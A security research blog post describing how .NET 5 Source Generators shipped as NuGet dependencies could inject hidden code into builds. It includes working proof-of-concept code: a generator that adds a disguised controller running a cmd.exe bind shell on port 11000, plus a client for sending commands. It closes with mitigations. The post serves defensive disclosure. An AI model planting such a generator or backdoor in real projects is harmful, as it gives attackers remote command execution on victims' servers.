.NET 5, Source Generators, and Supply Chain Attacks

.NET 5, Source Generators, and Supply Chain Attacks

IDEs and build infrastructure are being a target of various threat actors since at least 2015 when XcodeGhost has been discovered - https://en.wikipedia.org/wiki/XcodeGhost - malware-ridden Apple Xcode IDE that enabled attackers to plant malware in iOS applications built using it. 

Attacks executed through builds abuse trust we have in our build tools, IDEs, and software projects. This is slowly changing (for example Visual Studio Code added Workspace Trust feature in one of the recent releases: https://code.visualstudio.com/docs/editor/workspace-trust ), yet at the same time, .NET 5 added a powerful yet dangerous feature that could make attacks similar to described above easier to implement, deliver, and stay under the radar. 

Source Generators introduction 

Back in 2020 (https://devblogs.microsoft.com/dotnet/introducing-c-source-generators/ ) Microsoft announced a new and exciting feature of the upcoming .NET 5 - Source Generators. This functionality is intended to enable easier compile-time metaprogramming. Similar in purpose to macros or compiler plugins Source Generators offer more flexibility as they’re independent of IDE & compiler and do not require modifications of the source code. 

Source Generators can be present in your software solution as a part of Visual Studio solution structure, visible as a separate project in the IDE Solution browser. They can also be added, more often, as a nuget library similarly to any other dependency. 

Compilation pipeline that includes Source Generator

Compilation pipeline that includes Source Generator, source:  https://devblogs.microsoft.com/dotnet/introducing-c-source-generators/&…;

As Source Generators follow the same concept as Analyzers they may need to have the install and uninstall script. In a simple scenario, the install script will modify the given project csproj file in order to trigger Source Generator at build time. Similarly - uninstall script will remove any references to the Source Generator from csproj file.  

Note: supply chain attacks that utilize install scripts or build event scripts are certainly viable and were already attempted in the wild but technique described in this blog post does not use scripts making potential attacks harder to detect. 

Generators can be used for various purposes, in the most trivial case to inject code that’ll be callable from first-party code snippet.

Source: https://devblogs.microsoft.com/dotnet/introducing-c-source-generators/  

using System; 
using System.Collections.Generic; 
using System.Text; 
using Microsoft.CodeAnalysis; 
using Microsoft.CodeAnalysis.Text; 
 
namespace SourceGeneratorSamples 
{ 
    [Generator] 
    public class HelloWorldGenerator : ISourceGenerator 
    { 
        public void Execute(SourceGeneratorContext context) 
        { 
            // begin creating the source we'll inject into the users compilation 
            var sourceBuilder = new StringBuilder(@" 
using System; 
namespace HelloWorldGenerated 
{ 
    public static class HelloWorld 
    { 
        public static void SayHello()  
        { 
            Console.WriteLine(""Hello from generated code!""); 
            Console.WriteLine(""The following syntax trees existed in the compilation that created this program:""); 
"); 
            // using the context, get a list of syntax trees in the users compilation 
            var syntaxTrees = context.Compilation.SyntaxTrees; 

            // add the filepath of each tree to the class we're building 
            foreach (SyntaxTree tree in syntaxTrees) 
            { 
                sourceBuilder.AppendLine([email protected]"Console.WriteLine(@"" - {tree.FilePath}"");"); 
            } 
            // finish creating the source to inject 
            sourceBuilder.Append(@" 
        } 
    } 
}"); 
            // inject the created source into the users compilation 
            context.AddSource("helloWorldGenerator", SourceText.From(sourceBuilder.ToString(), Encoding.UTF8)); 
        } 
        public void Initialize(InitializationContext context) 
        { 
            // No initialization required for this one 
        } 
    } 
} 

And usage:

Source: https://devblogs.microsoft.com/dotnet/introducing-c-source-generators/  

public class SomeClassInMyCode 
{ 
    public void SomeMethodIHave() 
    { 
        HelloWorldGenerated.HelloWorld.SayHello(); // calls Console.WriteLine("Hello World!") and then prints out syntax trees 
    } 
} 

Intended usage 

Beyond what we showed in the introduction Source Generators are used to generate logic that would be implemented via reflection at runtime, or possibly to auto-generate code for various purposes. Please refer to the official cookbook for more examples: https://github.com/dotnet/roslyn/blob/main/docs/features/source-generators.cookbook.md

Sample generators can be already found in the nuget repository: https://www.nuget.org/packages?q=source+generators

Unofficial list of projects and links to various documentation and blog posts see https://github.com/amis92/csharp-source-generators

Threat model 

If Source Generator is the first-party project and it’s specific to a given enterprise intellectual property then it’s beyond the interest of this article. In such case, we’ll assume that Source Generator would go through the code review process and would not contain malicious logic. Even though it’s possible that malicious insiders may attempt to plant malware in such a Source Generator then this would likely be discovered by code review or Static Application Security Testing tool in use etc. 

A far more interesting scenario begins when we consider a modern dependency ecosystem like nuget. When an enterprise uses third-party nuget libraries then it's relying on a given 3rd party security posture. 

Hypothetical attack scenario

Hypothetical attack scenario using Source Generators

Source Generator may be written by and published to nuget repository by a single developer, group of developers under open source project, or an enterprise.

In every case listed above, it may be that either person or group of people behind the library may ship it with malicious code which may have grave consequences, especially if a library contains malicious Source Generator. 

It also did happen in the past that a dependency or even major open source project has been hijacked through compromise of maintainer account or purchased project then turned malicious. Nuget library may also depend on other libraries and Source Generators will behave in the same way even if they become a part of a project in a form of transitive dependency. 

Other attack vectors may include typosquatting or dependency confusion. 

Some notorious examples of attacks against commonly used software projects include PHP https://news-web.php.net/php.internals/113838, PyPI package repository https://threatpost.com/cryptominers-python-supply-chain/167135/ , widespread typo squatting, for example in Go: https://portswigger.net/daily-swig/suspicious-finds-researcher-discovers-go-typosquatting-package-that-relays-system-information-to-chinese-tech-firm or dependency confusion https://medium.com/@alex.birsan/dependency-confusion-4a5d60fec610  

There’s no easy way around that problem. From the perspective of a company that relies on third-party components to support its business model, only a combination of well-established security controls like dependency vetting, static and dynamic security testing, malware protection, and network-level security controls, among other controls, may be necessary to protect an enterprise to a reasonable extent. 

This becomes an even greater issue when Source Generators come into play. This is because the malicious code may not be a part of the original dependency or transitive dependency package - it can be obfuscated, encrypted, or fetched at build time in case of a more sophisticated implementation. 

Nothing prevents Source Generator from including logic that will inject malicious payload during production release build only, possibly bypassing tooling that relies on debug builds for analysis. 

Weaponizing Source Generator 

Endgame scenario for attackers would be to obtain shell access to a machine in an enterprise which enables an adversary to either plant intended malware or use a compromised machine for further lateral movement. In the example below, we’ll demonstrate a weaponized Source Generator that will turn a regular .NET web application into a web shell. 

Our malicious Source Generator will abuse one of the very convenient AspNetCore Mvc features - automatic discovery and deployment of controllers that are present in the application binary (dll file). 

This generator will contain only one line of code beyond the bare minimum required by the specification: 

using Microsoft.CodeAnalysis; 
using Microsoft.CodeAnalysis.Text; 
using System; 
using System.Text; 

namespace InnocentNamespace 
{ 
    [Generator] 
    public class SourceGenerator : ISourceGenerator 
    { 
        void ISourceGenerator.Execute(GeneratorExecutionContext context) 
        { 
            context.AddSource("InnocentController", SourceText.From("malicious payload", Encoding.UTF8)); 
        } 
        void ISourceGenerator.Initialize(GeneratorInitializationContext context) 
        { 
        } 
    } 
} 

The “malicious payload” string is a placeholder for our initial payload that will establish, in our case, remote shell access. In order to do that we need to set up a listening socket but first make sure that our controller will actually load. 

The idea is that our remote shell will start listening when the static initializer of the malicious, injected controller will be executed. Controllers are lazy-loaded by the .NET framework and because of that, we need to trigger lazy loading somehow. 

This can be achieved by exposing a route that will serve the purpose of being a trigger - only after the adversary visits this particular route server socket will start listening for incoming connections: 

using System; 
using System.Diagnostics; 
using System.Net; 
using System.Net.Sockets; 
using System.Text; 
using Microsoft.AspNetCore.Mvc; 
using Microsoft.Extensions.Logging; 

namespace InnocentNamespace.Controllers 
{ 
    public class InnocentController : Controller 
    { 
        [HttpGet] 
        public ContentResult Index() 
        { 
            return Content(""abc""); 
        } 
} 

Another option to trigger exploit code may be to use [ModuleInitializer] attribute to make sure that our class will be loaded - https://docs.microsoft.com/en-us/dotnet/api/system.runtime.compilerservices.moduleinitializerattribute . 

When we’ll open default route naming convention in place that’ll mean that our trigger will be reachable under httpx://servername:port/innocent/ path - just visiting this URL will trigger static initializer to execute, assuming that there’s one: 

    static InnocentController() 
        { 
            new Thread(new ThreadStart(nothingtoseehere)) 
            { 
                IsBackground = true 
            }.Start(); 
        } 

The nothingtoseehere is our server socket implementation that’ll start listening for connections as soon as our InnocentController class will be loaded. It contains trivial synchronous server socket implementation from https://docs.microsoft.com/en-us/dotnet/framework/network-programming/synchronous-server-socket-example  

Web shell implementation using synchronous server socket

   static void nothingtoseehere() 
        { 
            // Data buffer for incoming data.   
            byte[] bytes = new Byte[1024*1024]; 

            // Establish the local endpoint for the socket.   
            // Dns.GetHostName returns the name of the 
            // host running the application.   
            IPHostEntry ipHostInfo = Dns.GetHostEntry(Dns.GetHostName()); 
            IPAddress ipAddress = ipHostInfo.AddressList[0]; 
            IPEndPoint localEndPoint = new IPEndPoint(ipAddress, 11000); 

            // Create a TCP/IP socket.   
            Socket listener = new Socket(ipAddress.AddressFamily, 
                SocketType.Stream, ProtocolType.Tcp); 

            // Bind the socket to the local endpoint and 
            // listen for incoming connections.   
            try 
            { 
                listener.Bind(localEndPoint); 
                listener.Listen(10); 

                // Start listening for connections.   
                while (true) 
                { 
                    Console.WriteLine("Waiting for a connection..."); 
                    // Program is suspended while waiting for an incoming connection.   
                    Socket handler = listener.Accept(); 
                    data = null; 

                    // An incoming connection needs to be processed.   
                    while (true) 
                    { 
                        int bytesRec = handler.Receive(bytes); 
                        data += Encoding.ASCII.GetString(bytes, 0, bytesRec); 
                        if (data.IndexOf("<EOF>") > -1) 
                        { 
                            break; 
                        } 
                    } 

    // Show the data on the console.   
    Console.WriteLine("Text received : {0}", data); 

                    Process cmd = new Process(); 
                    cmd.StartInfo.FileName = "cmd.exe"; 
                    cmd.StartInfo.RedirectStandardInput = true; 
                    cmd.StartInfo.RedirectStandardOutput = true; 
                    cmd.StartInfo.CreateNoWindow = true; 
                    cmd.StartInfo.UseShellExecute = false; 
                    cmd.Start(); 

                    cmd.StandardInput.WriteLine(data.Substring(0, data.Length - 5)) ; 
                    cmd.StandardInput.Flush(); 
                    cmd.StandardInput.Close(); 
                    cmd.WaitForExit(); 
                    String output = cmd.StandardOutput.ReadToEnd(); 

                    Console.WriteLine("Command output:"); 
                    Console.WriteLine(output); 

                    // Echo the data back to the client. 
                    byte[] msg = Encoding.ASCII.GetBytes(output); 

                    handler.Send(msg); 
                    handler.Shutdown(SocketShutdown.Both); 
                    handler.Close(); 
                } 
            } 
            catch (Exception e) 
{ 
    Console.WriteLine(e.ToString()); 
} 

Console.WriteLine("\nPress ENTER to continue..."); 
Console.Read(); 
        } 
    } 

The most interesting bits happen in line 36, where we collect the requested command in line 54. Substring method in line 54 is executed only to remove the last 5 characters which indicate the termination of the communication from the client that’s sending malicious commands: 

Web shell client 

using System;
using System.Net;
using System.Net.Sockets;
using System.Text;

namespace web_shell_cli_client
{
    class Program
    {
        public static void StartClient()
        {
            // Data buffer for incoming data.  
            byte[] bytes = new byte[1024*1024];

            // Connect to a remote device.  
            try
            {
                // Establish the remote endpoint for the socket.  
                // This example uses port 11000 on the local computer.  
                IPHostEntry ipHostInfo = Dns.GetHostEntry(Dns.GetHostName());
                IPAddress ipAddress = ipHostInfo.AddressList[0];
                IPEndPoint remoteEP = new IPEndPoint(ipAddress, 11000);

                // Create a TCP/IP  socket.  
                Socket sender = new Socket(ipAddress.AddressFamily,
                    SocketType.Stream, ProtocolType.Tcp);

                // Connect the socket to the remote endpoint. Catch any errors.  
                try
                {
                    sender.Connect(remoteEP);

                    Console.WriteLine("Socket connected to {0}",
                        sender.RemoteEndPoint.ToString());

                    Console.WriteLine("Enter command to be run");
                    String command = Console.ReadLine();
                    Console.WriteLine("Command entered: " + command);

                    // Encode the data string into a byte array.  
                    byte[] msg = Encoding.ASCII.GetBytes(command + "<EOF>");

                    // Send the data through the socket.  
                    int bytesSent = sender.Send(msg);

                    // Receive the response from the remote device.  
                    int bytesRec = sender.Receive(bytes);
                    Console.WriteLine("Command result:\n{0}",
                                Encoding.ASCII.GetString(bytes, 0, bytesRec));

                    // Release the socket.  
                    sender.Shutdown(SocketShutdown.Both);
                    sender.Close();

                }
                catch (ArgumentNullException ane)
                {
                    Console.WriteLine("ArgumentNullException : {0}", ane.ToString());
                }
                catch (SocketException se)
                {
                    Console.WriteLine("SocketException : {0}", se.ToString());
                }
                catch (Exception e)
                {
                    Console.WriteLine("Unexpected exception : {0}", e.ToString());
                }

            }
            catch (Exception e)
            {
                Console.WriteLine(e.ToString());
            }
        }

        public static int Main(String[] args)
        {
            StartClient();
            return 0;
        }
    }
} 

This client is nearly identical to the https://docs.microsoft.com/en-us/dotnet/framework/network-programming/synchronous-client-socket-example, it accepts any string as an input, sends it over to the hardcoded port on the local machine, waits for the output from the server, prints it, and terminates. 

While simplistic it does serve its purpose which is being able to run arbitrary commands on the infected web application. 

Preventing attacks 

Source Generators can inject arbitrary code into binaries produced by the build of the application making it impossible to spot malicious modifications as a part of a standard code review process or using source code analysis. 

Static Application Security Testing tool may be able to spot malicious code injected into debug or production binaries if it does support binary analysis like in the case of https://www.veracode.com/products/binary-static-analysis-sast for .NET. 

Public artifact repositories (like nuget) enable us to set up a vetted intranet copy of the repository that can mitigate the risk of malicious packages being included in the build. This comes at a disadvantage though - it may slow down the pace of innovation as the process of vetting a new dependency (and its transitive dependencies) may be cumbersome. 

In order to disable Source Generators and Source Analyzers for good one may consider adding the following snippet to the csproj file - this will disable this potentially unsafe feature: 

<Target Name="DisableAnalyzers"
        BeforeTargets="CoreCompile">
<ItemGroup>
<Analyzer Remove="@(Analyzer)" />
</ItemGroup>
</Target> 

The project file may be also configured to exclude specific libraries so the known-good analyzers and generators can still do their job. 

Summary 

Source Generators is a powerful .NET feature that makes it easier to develop robust applications that perform tedious tasks automatically freeing developers from writing boilerplate code.  

Its flexibility, unfortunately, allows adversaries to attack applications and enterprises in novel ways which are difficult to protect against without scrutinizing dependencies source code. In order to prevent similar attacks, only defense-in-depth solutions or a combination of the whole spectrum of security controls will be able to reduce risk to an acceptable level.  

 

Mateusz Krzeszowiec is a Principal Security Researcher at Veracode. He started his career as software engineer and after good couple of years transitioned into application security. Mateusz worked as builder, breaker, and defender in a handful of enterprises. He researches various languages and technologies and contributes to Veracode's Binary Static Analysis service.